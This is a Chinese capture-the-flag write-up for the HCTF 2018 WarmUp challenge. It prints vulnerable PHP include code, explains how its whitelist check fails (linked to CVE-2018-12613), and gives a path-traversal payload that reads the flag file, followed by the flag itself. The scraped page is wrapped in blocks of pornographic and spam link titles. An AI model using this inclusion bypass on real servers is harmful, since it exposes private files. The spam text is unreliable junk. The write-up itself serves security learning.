<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      [HCTF 2018]WarmUp

      phpmyadmin 4.8.1 遠程文件包含漏洞(CVE-2018-12613)。

      直接訪問,沒有任何有用信息:

      image

      查看源碼,有個source.php的提示,訪問一下試試:

      image

       看到了php代碼:

      image

       題目也有提示,代碼審計,來吧看看怎么個邏輯:

       <?php
          highlight_file(__FILE__);
          class emmm
          {
              public static function checkFile(&$page)
              {
                  $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                  if (! isset($page) || !is_string($page)) {
                      echo "you can't see it";
                      return false;
                  }
      
                  if (in_array($page, $whitelist)) {
                      return true;
                  }
      
                  $_page = mb_substr(
                      $page,
                      0,
                      mb_strpos($page . '?', '?')
                  );
                  if (in_array($_page, $whitelist)) {
                      return true;
                  }
      
                  $_page = urldecode($page);
                  $_page = mb_substr(
                      $_page,
                      0,
                      mb_strpos($_page . '?', '?')
                  );
                  if (in_array($_page, $whitelist)) {
                      return true;
                  }
                  echo "you can't see it";
                  return false;
              }
          }
      
          if (! empty($_REQUEST['file'])
              && is_string($_REQUEST['file'])
              && emmm::checkFile($_REQUEST['file'])
          ) {
              include $_REQUEST['file'];
              exit;
          } else {
              echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
          }  
      ?> 

      代碼里提到了hint.php,訪問看看,得知flag在ffffllllaaaagggg里:

      image

      我們如果想要進入文件包含的函數,需要經過前置過濾

      1、代碼定義了白名單,參數只能是source.php或hint.php,如果不在白名單直接返回false

      2、mb_substr傳入參數函數截取第一個?之前的字符串,判斷是否在白名單,如果不在白名單返回false

      3、urldecode對傳入參數進行url解碼,解碼后再次進行mb_substr截取?之前的內容,判斷是否在白名單內

      經過三層判斷滿足白名單后,再次判斷file的值非空且為字符串,則進入文件包含。

      構造payload:

      ?file=source.php?ffffllllaaaagggg,回顯空白,嘗試訪問上級找這個文件,上五層后發現目標:

      ?file=source.php?../../../../../ffffllllaaaagggg

      flag{134cf44d-466e-4c4d-9216-cc07f63714b7}

      image

       

      posted @ 2025-09-05 21:12  曉看暮色云  閱讀(8)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 在线天堂新版资源www在线下载| 亚洲理论在线A中文字幕| 好男人社区影视在线WWW| 浦东新区| 无码一区二区三区av在线播放| 翘臀少妇被扒开屁股日出水爆乳| 国产学生裸体无遮挡免费| 天堂av最新版中文在线| 狂野欧美性猛交免费视频| 亚洲成人精品一区二区中| 日本一区二区久久人妻高清| 亚洲中文字幕无码一区无广告| 日韩激情无码免费毛片| 国产欧美亚洲精品第1页| 国产一级av在线播放| 日本www一道久久久免费| 激情伊人五月天久久综合| 高清偷拍一区二区三区| 亚洲中文字幕av天堂| 成人午夜视频一区二区无码| 国产片av在线观看国语| 野花在线观看免费观看高清| √天堂中文www官网在线| 国产精品毛片一区二区| 99精品国产一区二区电影| 竹山县| 熟女视频一区二区三区嫩草| 亚洲人妻一区二区精品| 377p欧洲日本亚洲大胆| 久热这里有精品免费视频| 色偷偷亚洲精品一区二区| 欧美亚洲h在线一区二区| 狠狠躁夜夜躁人人爽天天古典| 女同亚洲精品一区二区三| 女人与牲口性恔配视频免费| 中文字幕乱码十国产乱码| 亚洲精品在线二区三区| 中国女人和老外的毛片| 成人亚洲精品一区二区三区| av中文字幕在线二区| 老湿机69福利区无码|